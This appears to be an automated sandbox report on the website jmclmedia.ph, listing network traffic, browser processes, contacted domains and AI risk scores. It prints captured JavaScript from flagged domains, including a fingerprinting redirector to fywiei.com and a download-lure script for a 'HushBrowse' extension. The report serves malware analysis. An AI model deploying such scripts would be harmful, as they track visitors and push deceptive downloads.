Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49817 version: TLS 1.2

Source: classification engine

Classification label: mal52.win@20/33@48/257

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1980,i,10126711640347343481,8133098457316129034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.jmclmedia.ph"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1980,i,10126711640347343481,8133098457316129034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
http://www.jmclmedia.ph	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
http://fywiei.com/f2.php?e=4rxEBgcHWfhj1zSNx8uF1H49fkQ4SE0wZllzMWR1b0NNd0NHTk04MURwQlg4dm5HY2xWRXc5eHBvOW5CMDQzQUlHdDFybEpyS21SWUhUT0FjZ1JuZ3BpazdzV0JEdWxNQjlXZ1hzUkdLWHpVK1R2YVF3SjBzSngzR0pjTW1KdnhydkZkN0dmakRITlFQUGJjald4bk9mOXEzbHFzUFg2ZlVNMmJsV1F1VWFmQzZaNURQOHIyTWxOeG04TTNhQUVoLzdBclVqSEsvMlNlb3Z6b28zUG9STDNDbi82WUJIeWJ2eHhiSDY0Tml4eHRHRXR5aG13Vks3bk5ocTJpZnhhMWlvODFRQWhZQjlYRlFDUVBqdmlHVlZ1VjduYmxCSnZVeEs0My92NFBzYTZUNjZiMDBka1ZBQVZuSVk1MWowTnZ4NjBYak1ISUlJdUpoRkJsOU9DM0pFbWxzUi95T3pHQldnc2dWb0ZpNGR5dXhpVC94aVFBM2Q2UDNpWW8zQ0Uwc01wK01LN2JiZVBrQVROakJIWXl2bzQxZlRkSWpUZVRNcDZnVUdDTS9DelM0VXM3bDBmTm80MFdyc0VpMXErL1dwdCtoU2dZUm9MZmtyNjBXVzZpWGlOTm9nNW81MjlvNWFMUmdaOUNocmlyV1JCWTVkL2FMQ2Z1dlJQN1FZPQ%3D%3D&vs=1280:907&ds=1280:1024&sl=0:0&os=f&nos=f	100%	Avira URL Cloud	malware
http://fywiei.com/js/fingerprint/iife.min.js	100%	Avira URL Cloud	malware
http://fywiei.com/favicon.ico	100%	Avira URL Cloud	malware
http://www.jmclmedia.ph/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mc.yandex.ru	77.88.21.119	true	false	high
api-js.mixpanel.com	35.190.25.25	true	false	high
7proof.com	52.116.53.155	true	false	high
fywiei.com	103.224.182.206	true	false	high
www.jmclmedia.ph	37.48.65.151	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
ocalesit.com	104.21.43.150	true	false	high
www.google.com	142.250.186.164	true	false	high
dd5k4jh2fbutd.cloudfront.net	13.32.121.98	true	false	unknown
cdn.mxpnl.com	130.211.5.208	true	false	high
aquatic-dingo-3jfl6f8qnbzks0g5qryw5tnl.herokudns.com	3.33.148.61	true	false	unknown
cint.hushbrowse.online	206.189.225.178	true	false	unknown
calm-jay-6a5fx0hx0el5e6qb9y2ja6kh.herokudns.com	3.33.148.61	true	false	unknown
file.hushbrowse.online	unknown	unknown	false	unknown
mc.yandex.com	unknown	unknown	false	high
impr.hushbrowse.online	unknown	unknown	false	unknown
red.hushbrowse.online	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.jmclmedia.ph/	false	Avira URL Cloud: safe	unknown
http://fywiei.com/favicon.ico	true	Avira URL Cloud: malware	unknown
http://fywiei.com/f2.php?e=4rxEBgcHWfhj1zSNx8uF1H49fkQ4SE0wZllzMWR1b0NNd0NHTk04MURwQlg4dm5HY2xWRXc5eHBvOW5CMDQzQUlHdDFybEpyS21SWUhUT0FjZ1JuZ3BpazdzV0JEdWxNQjlXZ1hzUkdLWHpVK1R2YVF3SjBzSngzR0pjTW1KdnhydkZkN0dmakRITlFQUGJjald4bk9mOXEzbHFzUFg2ZlVNMmJsV1F1VWFmQzZaNURQOHIyTWxOeG04TTNhQUVoLzdBclVqSEsvMlNlb3Z6b28zUG9STDNDbi82WUJIeWJ2eHhiSDY0Tml4eHRHRXR5aG13Vks3bk5ocTJpZnhhMWlvODFRQWhZQjlYRlFDUVBqdmlHVlZ1VjduYmxCSnZVeEs0My92NFBzYTZUNjZiMDBka1ZBQVZuSVk1MWowTnZ4NjBYak1ISUlJdUpoRkJsOU9DM0pFbWxzUi95T3pHQldnc2dWb0ZpNGR5dXhpVC94aVFBM2Q2UDNpWW8zQ0Uwc01wK01LN2JiZVBrQVROakJIWXl2bzQxZlRkSWpUZVRNcDZnVUdDTS9DelM0VXM3bDBmTm80MFdyc0VpMXErL1dwdCtoU2dZUm9MZmtyNjBXVzZpWGlOTm9nNW81MjlvNWFMUmdaOUNocmlyV1JCWTVkL2FMQ2Z1dlJQN1FZPQ%3D%3D&vs=1280:907&ds=1280:1024&sl=0:0&os=f&nos=f	true	Avira URL Cloud: malware	unknown
https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9	false		unknown
http://fywiei.com/js/fingerprint/iife.min.js	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	unknown	United States	15169	GOOGLEUS	false
130.211.34.183	unknown	United States	15169	GOOGLEUS	false
87.250.250.119	unknown	Russian Federation	13238	YANDEXRU	false
142.250.185.227	unknown	United States	15169	GOOGLEUS	false
52.116.53.155	7proof.com	United States	36351	SOFTLAYERUS	false
172.217.23.110	unknown	United States	15169	GOOGLEUS	false
130.211.5.208	cdn.mxpnl.com	United States	15169	GOOGLEUS	false
13.32.121.89	unknown	United States	16509	AMAZON-02US	false
3.33.148.61	aquatic-dingo-3jfl6f8qnbzks0g5qryw5tnl.herokudns.com	United States	8987	AMAZONEXPANSIONGB	false
87.250.251.119	unknown	Russian Federation	13238	YANDEXRU	false
37.48.65.151	www.jmclmedia.ph	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
142.250.186.74	unknown	United States	15169	GOOGLEUS	false
35.186.235.23	unknown	United States	15169	GOOGLEUS	false
66.102.1.84	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
216.58.206.67	unknown	United States	15169	GOOGLEUS	false
172.217.18.3	unknown	United States	15169	GOOGLEUS	false
103.224.182.206	fywiei.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	false
35.190.25.25	api-js.mixpanel.com	United States	15169	GOOGLEUS	false
104.21.43.150	ocalesit.com	United States	13335	CLOUDFLARENETUS	false
13.32.121.98	dd5k4jh2fbutd.cloudfront.net	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
206.189.225.178	cint.hushbrowse.online	United States	14061	DIGITALOCEAN-ASNUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
77.88.21.119	mc.yandex.ru	Russian Federation	13238	YANDEXRU	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587286
Start date and time:	2025-01-10 04:06:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://www.jmclmedia.ph
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@20/33@48/257

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 172.217.23.110, 66.102.1.84, 142.250.184.238, 142.250.185.238, 2.22.50.131, 142.250.181.238
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Skipping network analysis since amount of network traffic is too extensive
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://www.jmclmedia.ph

LLM Input / Output

Input	Output
URL: http://www.jmclmedia.ph Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: http://www.jmclmedia.ph
URL: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of obfuscated URLs and the fallback redirect mechanism further increase the risk. While the script may have a legitimate purpose, such as fingerprinting, the overall behavior is highly suspicious and indicative of potential malicious intent." }
var redirect_link = 'http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3D&'; // Set a timeout of 300 milliseconds to execute a redirect if the fingerprint promise fails for some reason function fallbackRedirect() { window.location.replace(redirect_link+'fp=-7'); } try { const rdrTimeout = setTimeout(fallbackRedirect, 300); var fpPromise = FingerprintJS.load({monitoring: false}); fpPromise .then(fp => fp.get()) .then( result => { var fprt = 'fp='+result.visitorId; clearTimeout(rdrTimeout); window.location.replace(redirect_link+fprt); }); } catch(err) { fallbackRedirect(); }
URL: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to a suspicious domain. The script collects sensitive information about the user's device and screen dimensions, and then redirects the user to an obfuscated URL. This behavior is highly suspicious and indicates a potential phishing or malware attack." }
var redirect_link = 'http://fywiei.com/f2.php?e=4rxEBgcHWfhj1zSNx8uF1H49fkQ4SE0wZllzMWR1b0NNd0NHTk04MURwQlg4dm5HY2xWRXc5eHBvOW5CMDQzQUlHdDFybEpyS21SWUhUT0FjZ1JuZ3BpazdzV0JEdWxNQjlXZ1hzUkdLWHpVK1R2YVF3SjBzSngzR0pjTW1KdnhydkZkN0dmakRITlFQUGJjald4bk9mOXEzbHFzUFg2ZlVNMmJsV1F1VWFmQzZaNURQOHIyTWxOeG04TTNhQUVoLzdBclVqSEsvMlNlb3Z6b28zUG9STDNDbi82WUJIeWJ2eHhiSDY0Tml4eHRHRXR5aG13Vks3bk5ocTJpZnhhMWlvODFRQWhZQjlYRlFDUVBqdmlHVlZ1VjduYmxCSnZVeEs0My92NFBzYTZUNjZiMDBka1ZBQVZuSVk1MWowTnZ4NjBYak1ISUlJdUpoRkJsOU9DM0pFbWxzUi95T3pHQldnc2dWb0ZpNGR5dXhpVC94aVFBM2Q2UDNpWW8zQ0Uwc01wK01LN2JiZVBrQVROakJIWXl2bzQxZlRkSWpUZVRNcDZnVUdDTS9DelM0VXM3bDBmTm80MFdyc0VpMXErL1dwdCtoU2dZUm9MZmtyNjBXVzZpWGlOTm9nNW81MjlvNWFMUmdaOUNocmlyV1JCWTVkL2FMQ2Z1dlJQN1FZPQ%3D%3D'; var vs = '&vs='+window.innerWidth + ':'+window.innerHeight; var ds = '&ds='+window.screen.width + ':'+window.screen.height; var sl = '&sl='+window.screenX + ':'+window.screenY; var os = '&os=f'; if(window.screenX >= window.screen.width) { os = '&os=t'; } if(window.screenY >= window.screen.height) { os = '&os=t'; } var nos = '&nos=f'; if(window.screenX >= window.screen.width-(window.screen.width0.1) \|\| window.screenX + window.innerWidth <window.innerWidth0.1) { nos = '&nos=t'; } if(window.screenY >= window.screen.height-(window.screen.height0.1) \|\| window.screenY + window.innerHeight <window.innerHeight0.1) { nos = '&nos=t'; } window.location.replace(redirect_link+vs+ds+sl+os+nos);
URL: http://fywiei.com/js/fingerprint/iife.min.js... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate library for browser fingerprinting, which is a common practice for analytics and fraud detection purposes. While the code uses some techniques that could be considered 'high-risk' in isolation, such as dynamic code execution and data transmission, the overall context and purpose of the library suggest that these behaviors are likely not malicious. The code is well-documented, open-source, and used by reputable companies, indicating a low-risk profile." }
/** * FingerprintJS v3.4.0 - Copyright (c) FingerprintJS, Inc, 2023 (https://fingerprint.com) * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license. * * This software contains code from open-source projects: * MurmurHash3 by Karan Lyons (https://github.com/karanlyons/murmurHash3.js) / var FingerprintJS=function(e){"use strict";var n=function(){return n=Object.assign\|\|function(e){for(var n,t=1,r=arguments.length;t<r;t++)for(var o in n=arguments[t])Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o]);return e},n.apply(this,arguments)};function t(e,n,t,r){return new(t\|\|(t=Promise))((function(o,a){function i(e){try{u(r.next(e))}catch(n){a(n)}}function c(e){try{u(r.throw(e))}catch(n){a(n)}}function u(e){var n;e.done?o(e.value):(n=e.value,n instanceof t?n:new t((function(e){e(n)}))).then(i,c)}u((r=r.apply(e,n\|\|[])).next())}))}function r(e,n){var t,r,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:c(0),throw:c(1),return:c(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function c(c){return function(u){return function(c){if(t)throw new TypeError("Generator is already executing.");for(;a&&(a=0,c[0]&&(i=0)),i;)try{if(t=1,r&&(o=2&c[0]?r.return:c[0]?r.throw\|\|((o=r.return)&&o.call(r),0):r.next)&&!(o=o.call(r,c[1])).done)return o;switch(r=0,o&&(c=[2&c[0],o.value]),c[0]){case 0:case 1:o=c;break;case 4:return i.label++,{value:c[1],done:!1};case 5:i.label++,r=c[1],c=[0];continue;case 7:c=i.ops.pop(),i.trys.pop();continue;default:if(!(o=i.trys,(o=o.length>0&&o[o.length-1])\|\|6!==c[0]&&2!==c[0])){i=0;continue}if(3===c[0]&&(!o\|\|c[1]>o[0]&&c[1]<o[3])){i.label=c[1];break}if(6===c[0]&&i.label<o[1]){i.label=o[1],o=c;break}if(o&&i.label<o[2]){i.label=o[2],i.ops.push(c);break}o[2]&&i.ops.pop(),i.trys.pop();continue}c=n.call(e,i)}catch(u){c=[6,u],r=0}finally{t=o=0}if(5&c[0])throw c[1];return{value:c[0]?c[1]:void 0,done:!0}}([c,u])}}}function o(e,n,t){if(t\|\|2===arguments.length)for(var r,o=0,a=n.length;o<a;o++)!r&&o in n\|\|(r\|\|(r=Array.prototype.slice.call(n,0,o)),r[o]=n[o]);return e.concat(r\|\|Array.prototype.slice.call(n))}function a(e,n){return new Promise((function(t){return setTimeout(t,e,n)}))}function i(e){return!!e&&"function"==typeof e.then}function c(e,n){try{var t=e();i(t)?t.then((function(e){return n(!0,e)}),(function(e){return n(!1,e)})):n(!0,t)}catch(r){n(!1,r)}}function u(e,n,o){return void 0===o&&(o=16),t(this,void 0,void 0,(function(){var t,i,c;return r(this,(function(r){switch(r.label){case 0:t=Date.now(),i=0,r.label=1;case 1:return i<e.length?(n(e[i],i),(c=Date.now())>=t+o?(t=c,[4,a(0)]):[3,3]):[3,4];case 2:r.sent(),r.label=3;case 3:return++i,[3,1];case 4:return[2]}}))}))}function l(e){e.then(void 0,(function(){}))}function s(e,n){e=[e[0]>>>16,65535&e[0],e[1]>>>16,65535&e[1]],n=[n[0]>>>16,65535&n[0],n[1]>>>16,65535&n[1]];var t=[0,0,0,0];return t[3]+=e[3]+n[3],t[2]+=t[3]>>>16,t[3]&=65535,t[2]+=e[2]+n[2],t[1]+=t[2]>>>16,t[2]&=65535,t[1]+=e[1]+n[1],t[0]+=t[1]>>>16,t[1]&=65535,t[0]+=e[0]+n[0],t[0]&=65535,[t[0]<<16\|t[1],t[2]<<16\|t[3]]}function d(e,n){e=[e[0]>>>16,65535&e[0],e[1]>>>16,65535&e[1]],n=[n[0]>>>16,65535&n[0],n[1]>>>16,65535&n[1]];var t=[0,0,0,0];return t[3]+=e[3]n[3],t[2]+=t[3]>>>16,t[3]&=65535,t[2]+=e[2]n[3],t[1]+=t[2]>>>16,t[2]&=65535,t[2]+=e[3]n[2],t[1]+=t[2]>>>16,t[2]&=65535,t[1]+=e[1]n[3],t[0]+=t[1]>>>16,t[1]&=65535,t[1]+=e[2]n[2],t[0]+=t[1]>>>16,t[1]&=65535,t[1]+=e[3]n[1],t[0]+=t[1]>>>16,t[1]&=65535,t[0]+=e[0]n[3]+e[1]n[2]+e[2]n[1]+e[3]*n[0],t[0]&=65535,[t[0]<<16\|t[1],t[2]<<16\|t[3]]}function m(e,n){return 32===(n%=64)?[e[1],e[0]]:n<32?[e[0]<<n\|e[1]>>>32-n,e[1]<<n\|e[0]>>>32-n]:(n-=32,[e[1]<<n\|e[0]>>>32-n,e[0]<<n\|e[1]>>>32-n])}function f(e,n){return 0===(n%=64)?e:n<32?[e[0]<<n\|e[1]>>>32-n,e[1]<<n]:[e[1]<<n-32,0]}function v(e,n){return[e[0]^n[0],e[1]^n[1]]}function h(e){return e=v(e,[0,e[0]>>>1]),e=v(e=d(e,[4283543511,3981806797]),[0,e[0]>>>1]),e=v(e=d(e,[3301882366,444984403]),[0,e[0]>>>1])}function
URL: https://cint.hushbrowse.online/?subid=90945414214&... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The provided JavaScript code appears to be a download management script with some potentially concerning behaviors. While it does not exhibit any clear malicious intent, there are a few moderate-risk indicators that warrant further review. The script dynamically generates download URLs, triggers pixels, and manipulates the DOM, which could be used for tracking or data exfiltration purposes. Additionally, the use of an external domain ('red.hushbrowse.online') for the download proxy raises some suspicion. Overall, the script requires closer inspection to determine the full extent of its functionality and potential risks." }
window.showDownloadedTimeout = null; window.taskVerification = true; window.verificationVariant = 1; window.recaptchaVerification = false; window.recaptchaVerified = false; window.hintVariant = 1; window.content = null; window.verificationMinDelay = 8; window.verificationProgressOnClick = false; window.verificationProgress = 0; window.downloadProgress = 0; window.downloaded = false; function toggleDownloadStep(step) { let body = document.querySelector('body'); body.classList.toggle('download-step-1', step === 1); body.classList.toggle('download-step-2', step === 2); body.classList.toggle('download-step-3', step === 3); body.classList.toggle('download-step-4', step === 4); } function downloadUrl() { let downloadUrl = 'https://red.hushbrowse.online/downloadproxy/intpgdirect/@CLICK_ID@/?ext_name=HushBrowse&cid=@CID@&tag=@OTID@&file=true'; downloadUrl = downloadUrl.replace('@CLICK_ID@', uid()); downloadUrl = downloadUrl.replace('@CID@', getParameterByName('cid', '')); downloadUrl = downloadUrl.replace('@OTID@', getParameterByName('otid', '')); return downloadUrl; } function triggerDownload() { download(downloadUrl()); } function triggerPixel() { let pixelUrl = 'https://7proof.com/app/fr?type=l1&dp1=' + uid() + '&score=9'; let img = document.createElement('img'); img.src = pixelUrl; img.style.position = 'absolute'; img.style.left = '-9999px'; document.body.appendChild(img); } function triggerPixelDownload() { let pixelUrl = 'https://7proof.com/app/fr?type=l10&dp1=' + uid() + '&score=9'; let img = document.createElement('img'); img.src = pixelUrl; img.style.position = 'absolute'; img.style.left = '-9999px'; document.body.appendChild(img); } function showOverlay() { let overlay = document.querySelector('[data-part="overlay"]'); overlay.addEventListener('click', () => overlay.classList.add('d-none')); overlay.classList.remove('d-none'); } function hideOverlay() { document.querySelector('[data-part="overlay"]').classList.add('d-none'); } function showPointer() { let overlay = document.querySelector('[data-part="overlay-pointer"]'); overlay.addEventListener('click', () => overlay.classList.add('d-none')); overlay.classList.remove('d-none'); } function showPointerArea() { let overlay = document.querySelector('[data-part="overlay-pointer-area"]'); overlay.addEventListener('click', () => overlay.classList.add('d-none')); overlay.classList.remove('d-none'); } function openDownloadedWindow() { showOverlay(); let screenWidth = window.innerWidth; let screenHeight = window.innerHeight; let topMargin = 60; let height = 400, width = 450, left = (Math.ceil((screenWidth - width)/2) + window.screenLeft), top = (Math.ceil((screenHeight - height)/2) + topMargin + window.screenTop); const popup = window.open('', 'Downloading Window', 'width=' + width + ',height=' + height + ',left=' + left + ',top=' + top + ',menubar=no,toolbar=no,location=no'); popup.document.write('\ <!DOCTYPE html>\ <html>\ <head>\ <title>Download File</title>\ <style>\ body {\ font-family: Arial, sans-serif;\ display: flex;
URL: https://cint.hushbrowse.online/lp/js/main.js?v10... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript code appears to be a set of utility functions for handling cookies, URL parameters, and user identification. While it includes some potentially sensitive operations, such as setting cookies and generating unique user IDs, the overall behavior seems to be focused on common web development practices rather than any malicious intent. The code does not exhibit any high-risk indicators like dynamic code execution, data exfiltration, or redirects to suspicious domains. Some moderate-risk indicators, such as external data transmission and aggressive DOM manipulation, are present, but the context suggests these are likely for legitimate purposes like analytics and user tracking. Overall, the code appears to be a well-intentioned, if somewhat outdated, set of utility functions." }
function getCookie(name) { let namePart = name + '=', decodedCookie = decodeURIComponent(document.cookie), cookies = decodedCookie.split(';'); for(let index = 0; index < cookies.length; index++) { let cookie = cookies[index]; while (cookie.charAt(0) === ' ') { cookie = cookie.substring(1); } if (cookie.indexOf(namePart) === 0) { return cookie.substring(namePart.length, cookie.length); } } return null; } function setCookie(name, value, expireDays = 0, domain = '') { domain = domain ? domain : location.host; let expires = ''; if (expireDays) { let date = new Date(); date.setTime(date.getTime() + (expireDays * 24 * 60 * 60 * 1000)); expires = 'expires=' + date.toUTCString(); } document.cookie = name + '=' + value + ';domain=.' + domain + ';path=/;' + expires; } function getPOption(name, defaultValue = null) { if (window.poptions) { return window.poptions[name] ?? defaultValue; } return defaultValue; } function getParameterByName(name, defaultValue = null) { let parameter = getQueryParameterByName(name); if (parameter) { return parameter; } parameter = getPOption(name) ?? 